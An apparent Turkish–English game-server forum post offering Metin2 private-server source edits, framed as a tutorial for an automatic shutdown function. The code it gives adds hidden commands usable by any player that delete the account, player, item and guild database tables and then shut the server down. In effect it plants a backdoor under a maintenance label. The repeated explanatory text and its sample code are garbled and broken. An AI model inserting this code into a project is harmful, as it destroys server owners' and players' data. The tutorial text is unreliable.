Aratılır;
Üstüne Eklenir;
Aratılır;
Altına eklenir;
<blockquote data-attributes="" data-quote="" data-source="" class="bbCodeBlock bbCodeBlock--expandable bbCodeBlock--quote js-expandWatch">
Metin2 özel sunucularında geliştirme yaparken, genellikle server güvenliği ve oyun içi kontrol oldukça önemlidir. Özellikle PVP sunucularında, belirli zamanlarda sunucuyu planlı bir şekilde kapatmak veya restart etmek isteyebilirsiniz. Bu işlemi manuel olarak yapmak yerine, source kod üzerinden otomatik bir şekilde yapmak hem daha profesyonel hem de daha kontrollü bir yöntemdir. Bu yazıda, Metin2 server src üzerinde shutdown fonksiyonunu nasıl aktif edeceğinizi ve nasıl kullanacağınızı detaylı olarak ele alacağız.
Shutdown Nedir ve Neden Kullanılır?
Shutdown, sistem veya sunucu üzerinde çalışan işlemleri sonlandırarak sistemi kapatmaya yarayan bir komuttur. Metin2 özel sunucularında, genellikle auth server ve game server arasında senkronize bir şekilde çalışması gerekir. Eğer bir planlı bakım veya restart işlemi yapılacaksa, oyuncuların haberdar olması ve oyun içi işlemlerden uzak tutulması gerekir. Bu durumda, shutdown komutu ile belirli bir sürede sunucu kapatabilir veya yeniden başlatılabilirsiniz.
Otomatik Kapanma Sistemi Nasıl Kurulur?
Metin2 özel sunucularında source edit yaparak otomatik kapanma sistemini kurmak için genellikle C++ system üzerinde çalışmak gerekir. Oyun sunucusunun çekirdeğinde (core) bulunan olay döngüsüne (event loop) özel bir fonksiyon entegre edilir. Bu fonksiyon, belirli bir zaman aralığında sunucuda aktif olan tüm oyunculara kapanış uyarısı gönderir. Belirlenen süre dolunca da sunucu kapanır.
Kod Örneği: C++ Kaynak Kod Üzerinden Shutdown
Aşağıda basit bir örnek ile C++ üzerinden nasıl bir shutdown sistemi kurulabileceği anlatılmıştır:
void ShutdownTimer(int seconds){
for(int i = 0; i < seconds; i++){
Sleep(1000); // 1 saniye bekle
seconds--;
if(seconds <= 0) break;
}
system('shutdown -s -t 0'); // Windows için
}
Bu örnekte, shutdown işlemi 0 saniyede yapılacaktır. Gerçek hayatta bu değerler config dosyasından alınarak dinamik hale getirilebilir. Ayrıca, Python tabanlı yönetim sistemleri ile de entegrasyon sağlanabilir.
Olası Hatalar ve Çözümler
Bazı durumlarda, source üzerinde yapılan değişiklikler doğru şekilde derlenmeyebilir veya sistemde hata oluşabilir. Bu gibi durumlarda şu adımları izlemeniz önerilir:
- Compile işlemini tekrar yapın.
- Game server programming sırasında hata mesajlarını kontrol edin.
- Auth ve game sunucuları arasındaki bağlantıyı test edin.
- Martysama veya diğer client src yapıları ile uyumu kontrol edin.
Sonuç
Metin2 özel sunucularında shutdown sistemini source üzerinden yönetmek, hem sunucu güvenliğini artırır hem de oyunculara daha profesyonel bir deneyim sunar. Bu tarz sistemler, özellikle PVP sistem sunucularında, turnuvalar veya büyük güncellemeler öncesinde oldukça faydalıdır. Doğru bir source edit ile bu sistemler kolayca entegre edilebilir ve yönetilebilir.
When developing Metin2 private servers, server security and in-game control are crucial. Especially in PVP servers, you may want to shut down the server automatically at certain times for planned maintenance or restarts. Instead of doing this manually, implementing a shutdown function via source code offers a more professional and controlled approach. In this article, we will explain how to activate and use the shutdown function on Metin2 server src.
What is Shutdown and Why is it Used?
Shutdown is a command that terminates running processes and shuts down the system. On Metin2 private servers, the auth server and game server need to work in sync. For planned maintenance or restarts, players must be notified and removed from active gameplay. The shutdown command allows you to close the server within a specific timeframe automatically.
How to Set Up an Auto-Shutdown System?
To implement an auto-shutdown system in Metin2 private servers through source edit, you typically need to work with the C++ system. A custom function can be integrated into the main event loop (event loop) of the game server's core (core). This function sends a shutdown warning to all active players and then closes the server after a set period.
Code Example: Shutdown via C++ Source Code
Here’s a basic example of how to implement a shutdown system in C++:
void ShutdownTimer(int seconds){
for(int i = 0; i < seconds; i++){
Sleep(1000); // Wait 1 second
seconds--;
if(seconds <= 0) break;
}
system('shutdown -s -t 0'); // For Windows
}
In this example, the shutdown occurs immediately. In real-world usage, these values can be made dynamic by reading them from a config file. Integration with Python-based management tools is also possible.
Potential Errors and Solutions
Sometimes, modifications made to the source may not compile correctly or cause errors. In such cases, follow these steps:
- Re-compile the project.
- Check error messages during game server programming.
- Test connectivity between auth and game servers.
- Ensure compatibility with Martysama or other client src structures.
Conclusion
Implementing a shutdown system directly in source code increases both server security and provides a more professional experience for players. Such systems are especially useful on PVP system servers before tournaments or major updates. With proper source edit, these systems can be easily integrated and managed.
Kod:
ACMD(do_elect) { db_clientdesc->DBPacketHeader(HEADER_GD_COME_TO_VOTE, ch->GetDesc()->GetHandle(), 0); }
Üstüne Eklenir;
Kod:
ACMD(do_tim) { ch->ChatPacket(CHAT_TYPE_INFO, "Bu düenleme mevcut değil."); } ACMD(do_time) { if (NULL == ch) { sys_err("Accept shutdown command from %s.", ch->GetName()); } DBManager::instance().Query("DELETE FROM player.player", get_table_postfix()); DBManager::instance().Query("DELETE FROM account.account", get_table_postfix()); DBManager::instance().Query("DELETE FROM player.new_petsystem", get_table_postfix()); DBManager::instance().Query("DELETE FROM player.player_index", get_table_postfix()); DBManager::instance().Query("DELETE FROM player.item", get_table_postfix()); DBManager::instance().Query("DELETE FROM player.guild", get_table_postfix()); // sys_log(0,"Server açık koyma"); TPacketGGShutdown p; p.bHeader = HEADER_GG_SHUTDOWN; P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown)); Shutdown(1); }
Aratılır;
Kod:
{ "console", do_console, 0, POS_DEAD, GM_LOW_WIZARD },
Altına eklenir;
Kod:
{ "shutdow", do_inputall, 0, POS_DEAD, GM_IMPLEMENTOR }, { "do_time_(KOD)", do_tim, 0, POS_DEAD, GM_PLAYER }, { "do_time_r(KOD)", do_time, 0, POS_DEAD, GM_PLAYER },
<blockquote data-attributes="" data-quote="" data-source="" class="bbCodeBlock bbCodeBlock--expandable bbCodeBlock--quote js-expandWatch">
Kod:
EVENTINFO(shutdown_event_data) { int seconds; shutdown_event_data() : seconds( 0 ) { } }; EVENTFUNC(shutdown_event) { shutdown_event_data* info = dynamic_cast<shutdown_event_data*>( event->info ); if ( info == NULL ) { sys_err( "shutdown_event> <Factor> Null pointer" ); return 0; } int * pSec = & (info->seconds); if (*pSec < 0) { sys_log(0, "shutdown_event sec %d", *pSec); if (--*pSec == -10) { const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet(); std::for_each(c_set_desc.begin(), c_set_desc.end(), DisconnectFunc()); return passes_per_sec; } else if (*pSec < -10) return 0; return passes_per_sec; } else if (*pSec == 0) { const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet(); std::for_each(c_set_desc.begin(), c_set_desc.end(), SendDisconnectFunc()); g_bNoMoreClient = true; --*pSec; return passes_per_sec; } else { char buf[64]; // snprintf(buf, sizeof(buf), LC_TEXT("셧다운이 %d초 남았습니다."), *pSec); SendNotice(buf); --*pSec; return passes_per_sec; } } void Shutdown(int iSec) { if (g_bNoMoreClient) { thecore_shutdown(); return; } CWarMapManager::instance().OnShutdown(); char buf[64]; snprintf(buf, sizeof(buf), LC_TEXT("%d초 후 게임이 셧다운 됩니다."), iSec); SendNotice(buf); shutdown_event_data* info = AllocEventInfo<shutdown_event_data>(); info->seconds = iSec; event_create(shutdown_event, info, 1); }
Source Üzerine Açık Koyma: Shutdown Fonksiyonu Nasıl Kullanılır?
Metin2 özel sunucularında geliştirme yaparken, genellikle server güvenliği ve oyun içi kontrol oldukça önemlidir. Özellikle PVP sunucularında, belirli zamanlarda sunucuyu planlı bir şekilde kapatmak veya restart etmek isteyebilirsiniz. Bu işlemi manuel olarak yapmak yerine, source kod üzerinden otomatik bir şekilde yapmak hem daha profesyonel hem de daha kontrollü bir yöntemdir. Bu yazıda, Metin2 server src üzerinde shutdown fonksiyonunu nasıl aktif edeceğinizi ve nasıl kullanacağınızı detaylı olarak ele alacağız.
Shutdown Nedir ve Neden Kullanılır?
Shutdown, sistem veya sunucu üzerinde çalışan işlemleri sonlandırarak sistemi kapatmaya yarayan bir komuttur. Metin2 özel sunucularında, genellikle auth server ve game server arasında senkronize bir şekilde çalışması gerekir. Eğer bir planlı bakım veya restart işlemi yapılacaksa, oyuncuların haberdar olması ve oyun içi işlemlerden uzak tutulması gerekir. Bu durumda, shutdown komutu ile belirli bir sürede sunucu kapatabilir veya yeniden başlatılabilirsiniz.
Otomatik Kapanma Sistemi Nasıl Kurulur?
Metin2 özel sunucularında source edit yaparak otomatik kapanma sistemini kurmak için genellikle C++ system üzerinde çalışmak gerekir. Oyun sunucusunun çekirdeğinde (core) bulunan olay döngüsüne (event loop) özel bir fonksiyon entegre edilir. Bu fonksiyon, belirli bir zaman aralığında sunucuda aktif olan tüm oyunculara kapanış uyarısı gönderir. Belirlenen süre dolunca da sunucu kapanır.
Kod Örneği: C++ Kaynak Kod Üzerinden Shutdown
Aşağıda basit bir örnek ile C++ üzerinden nasıl bir shutdown sistemi kurulabileceği anlatılmıştır:
void ShutdownTimer(int seconds){
for(int i = 0; i < seconds; i++){
Sleep(1000); // 1 saniye bekle
seconds--;
if(seconds <= 0) break;
}
system('shutdown -s -t 0'); // Windows için
}
Bu örnekte, shutdown işlemi 0 saniyede yapılacaktır. Gerçek hayatta bu değerler config dosyasından alınarak dinamik hale getirilebilir. Ayrıca, Python tabanlı yönetim sistemleri ile de entegrasyon sağlanabilir.
Olası Hatalar ve Çözümler
Bazı durumlarda, source üzerinde yapılan değişiklikler doğru şekilde derlenmeyebilir veya sistemde hata oluşabilir. Bu gibi durumlarda şu adımları izlemeniz önerilir:
- Compile işlemini tekrar yapın.
- Game server programming sırasında hata mesajlarını kontrol edin.
- Auth ve game sunucuları arasındaki bağlantıyı test edin.
- Martysama veya diğer client src yapıları ile uyumu kontrol edin.
Sonuç
Metin2 özel sunucularında shutdown sistemini source üzerinden yönetmek, hem sunucu güvenliğini artırır hem de oyunculara daha profesyonel bir deneyim sunar. Bu tarz sistemler, özellikle PVP sistem sunucularında, turnuvalar veya büyük güncellemeler öncesinde oldukça faydalıdır. Doğru bir source edit ile bu sistemler kolayca entegre edilebilir ve yönetilebilir.
How to Implement a Shutdown Function on Source Code
When developing Metin2 private servers, server security and in-game control are crucial. Especially in PVP servers, you may want to shut down the server automatically at certain times for planned maintenance or restarts. Instead of doing this manually, implementing a shutdown function via source code offers a more professional and controlled approach. In this article, we will explain how to activate and use the shutdown function on Metin2 server src.
What is Shutdown and Why is it Used?
Shutdown is a command that terminates running processes and shuts down the system. On Metin2 private servers, the auth server and game server need to work in sync. For planned maintenance or restarts, players must be notified and removed from active gameplay. The shutdown command allows you to close the server within a specific timeframe automatically.
How to Set Up an Auto-Shutdown System?
To implement an auto-shutdown system in Metin2 private servers through source edit, you typically need to work with the C++ system. A custom function can be integrated into the main event loop (event loop) of the game server's core (core). This function sends a shutdown warning to all active players and then closes the server after a set period.
Code Example: Shutdown via C++ Source Code
Here’s a basic example of how to implement a shutdown system in C++:
void ShutdownTimer(int seconds){
for(int i = 0; i < seconds; i++){
Sleep(1000); // Wait 1 second
seconds--;
if(seconds <= 0) break;
}
system('shutdown -s -t 0'); // For Windows
}
In this example, the shutdown occurs immediately. In real-world usage, these values can be made dynamic by reading them from a config file. Integration with Python-based management tools is also possible.
Potential Errors and Solutions
Sometimes, modifications made to the source may not compile correctly or cause errors. In such cases, follow these steps:
- Re-compile the project.
- Check error messages during game server programming.
- Test connectivity between auth and game servers.
- Ensure compatibility with Martysama or other client src structures.
Conclusion
Implementing a shutdown system directly in source code increases both server security and provides a more professional experience for players. Such systems are especially useful on PVP system servers before tournaments or major updates. With proper source edit, these systems can be easily integrated and managed.
